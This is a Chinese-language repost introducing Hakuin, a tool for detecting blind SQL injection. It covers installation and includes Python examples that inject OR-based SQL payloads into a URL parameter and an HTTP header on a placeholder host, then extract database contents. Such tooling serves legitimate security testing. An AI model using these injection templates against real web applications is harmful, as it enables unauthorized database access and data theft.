来源:FreeBuf
关于Hakuin
Hakuin是一款功能强大的SQL盲注漏洞安全检测工具,该工具专门针对BSQLi设计,可以帮助广大研究人员优化BSQLi测试用例,并以自动化的形式完成针对目标Web应用程序的漏洞扫描与检测任务。
该工具允许用户以轻松高效的形式对目标Web应用程序执行BSQLi安全检测,并采用了多种优化方法,包括预训练和自适应语言模型、机会性猜测和并行性机制等。
工具安装
由于该工具基于Python 3开发,因此我们首先需要在本地设备上安装并配置好最新版本的Python 3环境。
源码安装
广大研究人员可以直接使用下列命令将该项目源码克隆至本地:
git clone https://github.com/pruzko/hakuin.git
然后切换到项目目录中,并执行安装命令:
cd
hakuin
pip3 install -e .
pip安装
除此之外,我们还可以直接使用pip3命令安装Hakuin:
pip3
install hakuin
工具使用
Hakuin附带一个简单的封装工具,hk.py允许我们直接从命令行使用Hakuin的基本功能。要了解更多信息,请运行:
python3 hk.py -h
使用样例
基于状态推断的查询参数注入检测
import
aiohttp
from
hakuin
import
Requester
class
StatusRequester
(Requester)
:
async
def
request
(self, ctx, query)
:
r =
await
aiohttp.get(
f'http://vuln.com/?n=XXX" OR (
{query}
) --'
)
return
r.status ==
200
基于内容推断的Header注入检测
class
ContentRequester
(Requester)
:
async
def
request
(self, ctx, query)
:
headers = {
'vulnerable-header'
:
f'xxx" OR (
{query}
) --'
}
r =
await
aiohttp.get(
f'http://vuln.com/'
, headers=headers)
return
'found'
in
await
r.text()
尝试提取SQLite/MySQL/PSQL/MSSQL数据
import
asyncio
from
hakuin
import
Extractor, Requester
from
hakuin.dbms
import
SQLite, MySQL, PSQL, MSSQL
class
StatusRequester
(Requester)
:
...
async
def
main
()
:
# requester: Use this Requester
# dbms: Use this DBMS
# n_tasks: Spawns N tasks that extract column rows in parallel
ext = Extractor(requester=StatusRequester(), dbms=SQLite(), n_tasks=
1
)
...
if
__name__ ==
'__main__'
:
asyncio.get_event_loop().run_until_complete(main())
原文始发于微信公众号(啄木鸟软件测试):Hakuin:一款自动化SQL盲注(BSQLI)安全检测工具
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论